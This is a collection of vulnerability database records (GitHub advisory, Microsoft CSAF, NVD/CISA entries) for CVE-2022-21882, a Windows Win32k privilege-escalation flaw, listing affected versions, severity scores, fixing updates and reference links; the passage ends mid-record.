{
   affected: [],
   aliases: [
      "CVE-2022-21882",
   ],
   database_specific: {
      cwe_ids: [
         "CWE-269",
         "CWE-787",
      ],
      github_reviewed: false,
      github_reviewed_at: null,
      nvd_published_at: "2022-01-11T21:15:00Z",
      severity: "HIGH",
   },
   details: "Win32k Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-21887.",
   id: "GHSA-m3vx-53cf-jqv4",
   modified: "2024-11-14T21:31:48Z",
   published: "2022-01-12T00:00:52Z",
   references: [
      {
         type: "ADVISORY",
         url: "https://nvd.nist.gov/vuln/detail/CVE-2022-21882",
      },
      {
         type: "WEB",
         url: "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882",
      },
      {
         type: "WEB",
         url: "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21882",
      },
      {
         type: "WEB",
         url: "http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html",
      },
   ],
   schema_version: "1.4.0",
   severity: [
      {
         score: "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
         type: "CVSS_V3",
      },
   ],
}

{
   document: {
      acknowledgments: [
         {
            names: [
               "<a href=\"https://twitter.com/b2ahex\">RyeLv (@b2ahex)</a>",
            ],
         },
         {
            names: [
               "Big CJTeam of Tianfu Cup",
            ],
         },
      ],
      aggregate_severity: {
         namespace: "https://www.microsoft.com/en-us/msrc/security-update-severity-rating-system",
         text: "Important",
      },
      category: "csaf_security_advisory",
      csaf_version: "2.0",
      distribution: {
         text: "Public",
         tlp: {
            label: "WHITE",
            url: "https://www.first.org/tlp/",
         },
      },
      lang: "en-US",
      notes: [
         {
            category: "general",
            text: "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
            title: "Additional Resources",
         },
         {
            category: "legal_disclaimer",
            text: "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
            title: "Disclaimer",
         },
         {
            category: "general",
            text: "Required. The vulnerability documented by this CVE requires customer action to resolve.",
            title: "Customer Action",
         },
      ],
      publisher: {
         category: "vendor",
         contact_details: "secure@microsoft.com",
         name: "Microsoft Security Response Center",
         namespace: "https://msrc.microsoft.com",
      },
      references: [
         {
            category: "self",
            summary: "CVE-2022-21882 Win32k Elevation of Privilege Vulnerability - HTML",
            url: "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882",
         },
         {
            category: "self",
            summary: "CVE-2022-21882 Win32k Elevation of Privilege Vulnerability - CSAF",
            url: "https://msrc.microsoft.com/csaf/2022/msrc_cve-2022-21882.json",
         },
         {
            category: "external",
            summary: "Microsoft Exploitability Index",
            url: "https://www.microsoft.com/en-us/msrc/exploitability-index?rtc=1",
         },
         {
            category: "external",
            summary: "Microsoft Support Lifecycle",
            url: "https://support.microsoft.com/lifecycle",
         },
         {
            category: "external",
            summary: "Common Vulnerability Scoring System",
            url: "https://www.first.org/cvss",
         },
      ],
      title: "Win32k Elevation of Privilege Vulnerability",
      tracking: {
         current_release_date: "2022-01-13T08:00:00.000Z",
         generator: {
            date: "2025-01-02T18:22:13.087Z",
            engine: {
               name: "MSRC Generator",
               version: "1.0",
            },
         },
         id: "msrc_CVE-2022-21882",
         initial_release_date: "2022-01-11T08:00:00.000Z",
         revision_history: [
            {
               date: "2022-01-11T08:00:00.000Z",
               legacy_version: "1",
               number: "1",
               summary: "Information published.",
            },
            {
               date: "2022-01-13T08:00:00.000Z",
               legacy_version: "1.1",
               number: "2",
               summary: "Corrected Active Attack entry to Yes. When this information was originally released, Microsoft was aware of limited, targeted attacks that attempt to exploit this vulnerability.",
            },
         ],
         status: "final",
         version: "2",
      },
   },
   product_tree: {
      branches: [
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for 32-bit Systems <10.0.17763.2452",
                     product_id: "21",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for 32-bit Systems 10.0.17763.2452",
                     product_id: "11568",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1809 for 32-bit Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for x64-based Systems <10.0.17763.2452",
                     product_id: "20",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for x64-based Systems 10.0.17763.2452",
                     product_id: "11569",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1809 for x64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for ARM64-based Systems <10.0.17763.2452",
                     product_id: "19",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.17763.2452",
                  product: {
                     name: "Windows 10 Version 1809 for ARM64-based Systems 10.0.17763.2452",
                     product_id: "11570",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1809 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.17763.2452",
                  product: {
                     name: "Windows Server 2019 <10.0.17763.2452",
                     product_id: "18",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.17763.2452",
                  product: {
                     name: "Windows Server 2019 10.0.17763.2452",
                     product_id: "11571",
                  },
               },
            ],
            category: "product_name",
            name: "Windows Server 2019",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.17763.2452",
                  product: {
                     name: "Windows Server 2019 (Server Core installation) <10.0.17763.2452",
                     product_id: "17",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.17763.2452",
                  product: {
                     name: "Windows Server 2019 (Server Core installation) 10.0.17763.2452",
                     product_id: "11572",
                  },
               },
            ],
            category: "product_name",
            name: "Windows Server 2019 (Server Core installation)",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for 32-bit Systems <10.0.18363.2037",
                     product_id: "16",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for 32-bit Systems 10.0.18363.2037",
                     product_id: "11712",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1909 for 32-bit Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for x64-based Systems <10.0.18363.2037",
                     product_id: "15",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for x64-based Systems 10.0.18363.2037",
                     product_id: "11713",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1909 for x64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for ARM64-based Systems <10.0.18363.2037",
                     product_id: "14",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.18363.2037",
                  product: {
                     name: "Windows 10 Version 1909 for ARM64-based Systems 10.0.18363.2037",
                     product_id: "11714",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 1909 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for x64-based Systems <10.0.19043.1466",
                     product_id: "10",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for x64-based Systems 10.0.19043.1466",
                     product_id: "11896",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H1 for x64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for ARM64-based Systems <10.0.19043.1466",
                     product_id: "9",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for ARM64-based Systems 10.0.19043.1466",
                     product_id: "11897",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H1 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for 32-bit Systems <10.0.19043.1466",
                     product_id: "8",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19043.1466",
                  product: {
                     name: "Windows 10 Version 21H1 for 32-bit Systems 10.0.19043.1466",
                     product_id: "11898",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H1 for 32-bit Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.20348.469",
                  product: {
                     name: "Windows Server 2022 <10.0.20348.469",
                     product_id: "7",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.20348.469",
                  product: {
                     name: "Windows Server 2022 10.0.20348.469",
                     product_id: "11923",
                  },
               },
            ],
            category: "product_name",
            name: "Windows Server 2022",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.20348.469",
                  product: {
                     name: "Windows Server 2022 (Server Core installation) <10.0.20348.469",
                     product_id: "6",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.20348.469",
                  product: {
                     name: "Windows Server 2022 (Server Core installation) 10.0.20348.469",
                     product_id: "11924",
                  },
               },
            ],
            category: "product_name",
            name: "Windows Server 2022 (Server Core installation)",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19042.1466",
                  product: {
                     name: "Windows 10 Version 20H2 for 32-bit Systems <10.0.19042.1466",
                     product_id: "13",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19042.1466",
                  product: {
                     name: "Windows 10 Version 20H2 for 32-bit Systems 10.0.19042.1466",
                     product_id: "11801",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 20H2 for 32-bit Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19042.1466",
                  product: {
                     name: "Windows 10 Version 20H2 for ARM64-based Systems <10.0.19042.1466",
                     product_id: "12",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19042.1466",
                  product: {
                     name: "Windows 10 Version 20H2 for ARM64-based Systems 10.0.19042.1466",
                     product_id: "11802",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 20H2 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19042.1466",
                  product: {
                     name: "Windows Server, version 20H2 (Server Core Installation) <10.0.19042.1466",
                     product_id: "11",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19042.1466",
                  product: {
                     name: "Windows Server, version 20H2 (Server Core Installation) 10.0.19042.1466",
                     product_id: "11803",
                  },
               },
            ],
            category: "product_name",
            name: "Windows Server, version 20H2 (Server Core Installation)",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.22000.434",
                  product: {
                     name: "Windows 11 version 21H2 for x64-based Systems <10.0.22000.434",
                     product_id: "5",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.22000.434",
                  product: {
                     name: "Windows 11 version 21H2 for x64-based Systems 10.0.22000.434",
                     product_id: "11926",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 11 version 21H2 for x64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.22000.434",
                  product: {
                     name: "Windows 11 version 21H2 for ARM64-based Systems <10.0.22000.434",
                     product_id: "4",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.22000.434",
                  product: {
                     name: "Windows 11 version 21H2 for ARM64-based Systems 10.0.22000.434",
                     product_id: "11927",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 11 version 21H2 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for 32-bit Systems <10.0.19044.1466",
                     product_id: "3",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for 32-bit Systems 10.0.19044.1466",
                     product_id: "11929",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H2 for 32-bit Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for ARM64-based Systems <10.0.19044.1466",
                     product_id: "2",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for ARM64-based Systems 10.0.19044.1466",
                     product_id: "11930",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H2 for ARM64-based Systems",
         },
         {
            branches: [
               {
                  category: "product_version_range",
                  name: "<10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for x64-based Systems <10.0.19044.1466",
                     product_id: "1",
                  },
               },
               {
                  category: "product_version",
                  name: "10.0.19044.1466",
                  product: {
                     name: "Windows 10 Version 21H2 for x64-based Systems 10.0.19044.1466",
                     product_id: "11931",
                  },
               },
            ],
            category: "product_name",
            name: "Windows 10 Version 21H2 for x64-based Systems",
         },
      ],
   },
   vulnerabilities: [
      {
         cve: "CVE-2022-21882",
         notes: [
            {
               category: "general",
               text: "Microsoft",
               title: "Assigning CNA",
            },
            {
               category: "faq",
               text: "A local, authenticated attacker could gain elevated local system or administrator privileges through a vulnerability in the Win32k.sys driver.",
               title: "What privileges could be gained by an attacker who successfully exploited the vulnerability?",
            },
         ],
         product_status: {
            fixed: [
               "11568",
               "11569",
               "11570",
               "11571",
               "11572",
               "11712",
               "11713",
               "11714",
               "11801",
               "11802",
               "11803",
               "11896",
               "11897",
               "11898",
               "11923",
               "11924",
               "11926",
               "11927",
               "11929",
               "11930",
               "11931",
            ],
            known_affected: [
               "1",
               "2",
               "3",
               "4",
               "5",
               "6",
               "7",
               "8",
               "9",
               "10",
               "11",
               "12",
               "13",
               "14",
               "15",
               "16",
               "17",
               "18",
               "19",
               "20",
               "21",
            ],
         },
         references: [
            {
               category: "self",
               summary: "CVE-2022-21882 Win32k Elevation of Privilege Vulnerability - HTML",
               url: "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882",
            },
            {
               category: "self",
               summary: "CVE-2022-21882 Win32k Elevation of Privilege Vulnerability - CSAF",
               url: "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882",
            },
         ],
         remediations: [
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.17763.2452:Security Update:https://support.microsoft.com/help/5009557",
               product_ids: [
                  "21",
                  "20",
                  "19",
                  "18",
                  "17",
               ],
               url: "https://support.microsoft.com/help/5009557",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.18363.2037:Security Update:https://support.microsoft.com/help/5009545",
               product_ids: [
                  "16",
                  "15",
                  "14",
               ],
               url: "https://support.microsoft.com/help/5009545",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.19043.1466:Security Update:https://support.microsoft.com/help/5009543",
               product_ids: [
                  "10",
                  "9",
                  "8",
               ],
               url: "https://support.microsoft.com/help/5009543",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.20348.469:Security Update:https://support.microsoft.com/help/5009555",
               product_ids: [
                  "7",
                  "6",
               ],
               url: "https://support.microsoft.com/help/5009555",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.19042.1466:Security Update:https://support.microsoft.com/help/5009543",
               product_ids: [
                  "13",
                  "12",
                  "11",
               ],
               url: "https://support.microsoft.com/help/5009543",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.22000.434:Security Update:https://support.microsoft.com/help/5009566",
               product_ids: [
                  "5",
                  "4",
               ],
               url: "https://support.microsoft.com/help/5009566",
            },
            {
               category: "vendor_fix",
               date: "2022-01-11T08:00:00.000Z",
               details: "10.0.19044.1466:Security Update:https://support.microsoft.com/help/5009543",
               product_ids: [
                  "3",
                  "2",
                  "1",
               ],
               url: "https://support.microsoft.com/help/5009543",
            },
         ],
         scores: [
            {
               cvss_v3: {
                  attackComplexity: "HIGH",
                  attackVector: "LOCAL",
                  availabilityImpact: "HIGH",
                  baseScore: 7,
                  baseSeverity: "HIGH",
                  confidentialityImpact: "HIGH",
                  environmentalsScore: 0,
                  exploitCodeMaturity: "UNPROVEN",
                  integrityImpact: "HIGH",
                  privilegesRequired: "LOW",
                  remediationLevel: "OFFICIAL_FIX",
                  reportConfidence: "CONFIRMED",
                  scope: "UNCHANGED",
                  temporalScore: 6.1,
                  userInteraction: "NONE",
                  vectorString: "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C",
                  version: "3.1",
               },
               products: [
                  "1",
                  "2",
                  "3",
                  "4",
                  "5",
                  "6",
                  "7",
                  "8",
                  "9",
                  "10",
                  "11",
                  "12",
                  "13",
                  "14",
                  "15",
                  "16",
                  "17",
                  "18",
                  "19",
                  "20",
                  "21",
               ],
            },
         ],
         threats: [
            {
               category: "impact",
               details: "Elevation of Privilege",
            },
            {
               category: "exploit_status",
               details: "Exploited:Yes;Latest Software Release:Exploitation More Likely;Older Software Release:Exploitation More Likely",
            },
         ],
         title: "Win32k Elevation of Privilege Vulnerability",
      },
   ],
}

{
   GSD: {
      alias: "CVE-2022-21882",
      description: "Win32k Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-21887.",
      id: "GSD-2022-21882",
      references: [
         "https://packetstormsecurity.com/files/cve/CVE-2022-21882",
      ],
   },
   gsd: {
      metadata: {
         exploitCode: "unknown",
         remediation: "unknown",
         reportConfidence: "confirmed",
         type: "vulnerability",
      },
      osvSchema: {
         aliases: [
            "CVE-2022-21882",
         ],
         details: "Win32k Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-21887.",
         id: "GSD-2022-21882",
         modified: "2023-12-13T01:19:14.959379Z",
         schema_version: "1.4.0",
      },
   },
   namespaces: {
      "cisa.gov": {
         cveID: "CVE-2022-21882",
         dateAdded: "2022-02-04",
         dueDate: "2022-02-18",
         product: "Win32k",
         requiredAction: "Apply updates per vendor instructions.",
         shortDescription: "Microsoft Win32k contains an unspecified vulnerability which allows for privilege escalation.",
         vendorProject: "Microsoft",
         vulnerabilityName: "Microsoft Win32k Privilege Escalation Vulnerability",
      },
      "cve.org": {
         CVE_data_meta: {
            ASSIGNER: "secure@microsoft.com",
            ID: "CVE-2022-21882",
            STATE: "PUBLIC",
         },
         affects: {
            vendor: {
               vendor_data: [
                  {
                     product: {
                        product_data: [
                           {
                              product_name: "Windows 10 Version 1809",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.17763.2452",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows Server 2019",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.17763.2452",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows Server 2019 (Server Core installation)",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.17763.2452",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows 10 Version 1909",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.18363.2037",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows 10 Version 21H1",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.19043.1466",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows Server 2022",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.20348.469",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows 10 Version 20H2",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.19042.1466",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows Server version 20H2",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.19042.1466",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows 11 version 21H2",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.22000.434",
                                    },
                                 ],
                              },
                           },
                           {
                              product_name: "Windows 10 Version 21H2",
                              version: {
                                 version_data: [
                                    {
                                       version_affected: "<",
                                       version_name: "10.0.0",
                                       version_value: "10.0.19044.1466",
                                    },
                                 ],
                              },
                           },
                        ],
                     },
                     vendor_name: "Microsoft",
                  },
               ],
            },
         },
         data_format: "MITRE",
         data_type: "CVE",
         data_version: "4.0",
         description: {
            description_data: [
               {
                  lang: "eng",
                  value: "Win32k Elevation of Privilege Vulnerability",
               },
            ],
         },
         impact: {
            cvss: [
               {
                  baseScore: 7,
                  baseSeverity: "HIGH",
                  vectorString: "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C",
                  version: "3.1",
               },
            ],
         },
         problemtype: {
            problemtype_data: [
               {
                  description: [
                     {
                        lang: "eng",
                        value: "Elevation of Privilege",
                     },
                  ],
               },
            ],
         },
         references: {
            reference_data: [
               {
                  name: "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21882",
                  refsource: "MISC",
                  url: "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21882",
               },
               {
                  name: "http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html",
                  refsource: "MISC",
                  url: "http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html",
               },
            ],
         },
      },
      "nvd.nist.gov": {
         cve: {
            cisaActionDue: "2022-02-18",
            cisaExploitAdd: "2022-02-04",
            cisaRequiredAction: "Apply updates per vendor instructions.",
            cisaVulnerabilityName: "Microsoft Win32k Privilege Escalation Vulnerability",
            configurations: [
               {
                  nodes: [
                     {
                        cpeMatch: [
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "610B33F9-0309-4CF7-B7E4-5152D9B2FFE4",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*",
                              matchCriteriaId: "21074553-EDF2-468D-8E79-C39851B5BC79",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*",
                              matchCriteriaId: "4E62F9CB-D1B6-4B4D-BCCD-7F4D36A73B4D",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "49A4BBDA-0389-4171-AA49-6837F7DF4454",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*",
                              matchCriteriaId: "F8C238FA-B20F-40A5-B861-A8295858F4BE",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*",
                              matchCriteriaId: "56513BCA-A9F5-4112-BDE6-77E9B8D2677E",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "665EA912-D724-41EB-86A9-24EB4FE87B54",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x64:*",
                              matchCriteriaId: "77E07B96-EAAA-4DD6-9172-0DE98A36726F",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x86:*",
                              matchCriteriaId: "B846A736-E77C-4665-B28B-4E511880D575",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "925B8C67-C96F-4A4D-9BE7-CCCD78EF3C31",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*",
                              matchCriteriaId: "6CF580BA-6938-40F6-9D86-F43044A6BACA",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*",
                              matchCriteriaId: "C5E038AA-514F-48AC-B45E-859EE32525B4",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "31622391-A67E-4E2A-A855-1316B6E38630",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*",
                              matchCriteriaId: "61F0792D-7587-4297-8EE7-D4DC3A30EE84",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*",
                              matchCriteriaId: "7649042B-4430-4BD9-B82F-984A2831A651",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*",
                              matchCriteriaId: "B9F64296-66BF-4F1D-A11C-0C44C347E2AC",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*",
                              matchCriteriaId: "5D7F7DDB-440E-42CD-82F4-B2C13F3CC462",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*",
                              matchCriteriaId: "1EAF6DBA-6E3A-4854-BFBF-B5DC36CE5929",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_server:2022:*:*:*:*:*:*:*",
                              matchCriteriaId: "BE257836-4F4D-4352-8293-B9CAD34F8794",
                              vulnerable: true,
                           },
                           {
                              criteria: "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*",
                              matchCriteriaId: "DB79EE26-FC32-417D-A49C-A1A63165A968",
                              vulnerable: true,
                           },
                        ],
                        negate: false,
                        operator: "OR",
                     },
                  ],
               },
            ],
            descriptions: [
               {
                  lang: "en",
                  value: "Win32k Elevation of Privilege Vulnerability",
               },
               {
                  lang: "es",
                  value: "Una vulnerabilidad de Elevación de Privilegios en Win32k. Este ID de CVE es diferente de CVE-2022-21887",
               },
            ],
            id: "CVE-2022-21882",
            lastModified: "2023-12-21T01:15:21.003",
            metrics: {
               cvssMetricV2: [
                  {
                     acInsufInfo: false,
                     baseSeverity: "HIGH",
                     cvssData: {
                        accessComplexity: "LOW",
                        accessVector: "LOCAL",
                        authentication: "NONE",
                        availabilityImpact: "COMPLETE",
                        baseScore: 7.2,
                        confidentialityImpact: "COMPLETE",
                        integrityImpact: "COMPLETE",
                        vectorString: "AV:L/AC:L/Au:N/C:C/I:C/A:C",
                        version: "2.0",
                     },
                     exploitabilityScore: 3.9,
                     impactScore: 10,
                     obtainAllPrivilege: false,
                     obtainOtherPrivilege: false,
                     obtainUserPrivilege: false,
                     source: "nvd@nist.gov",
                     type: "Primary",
                     userInteractionRequired: false,
                  },
               ],
               cvssMetricV31: [
                  {
                     cvssData: {
                        attackComplexity: "LOW",
                        attackVector: "LOCAL",
                        availabilityImpact: "HIGH",
                        baseScore: 7.8,
                        baseSeverity: "HIGH",
                        confidentialityImpact: "HIGH",
                        integrityImpact: "HIGH",
                        privilegesRequired: "LOW",
                        scope: "UNCHANGED",
                        userInteraction: "NONE",
                        vectorString: "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        version: "3.1",
                     },
                     exploitabilityScore: 1.8,
                     impactScore: 5.9,
                     source: "nvd@nist.gov",
                     type: "Primary",
                  },
                  {
                     cvssData: {
                        attackComplexity: "HIGH",
                        attackVector: "LOCAL",
                        availabilityImpact: "HIGH",
                        baseScore: 7,
                        baseSeverity: "HIGH",
                        confidentialityImpact: "HIGH",
                        integrityImpact: "HIGH",
                        privilegesRequired: "LOW",
                        scope: "UNCHANGED",
                        userInteraction: "NONE",
                        vectorString: "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        version: "3.1",
                     },
                     exploitabilityScore: 1,
                     impactScore: 5.9,
                     source: "secure@microsoft.com",
                     type: "Secondary",
                  },
               ],
            },
            published: "2022-01-11T21:15:11.507",
            references: [
               {
                  source: "secure@microsoft.com",
                  tags: [
                     "Exploit",
                     "Third Party Advisory",
                     "VDB Entry",
                  ],
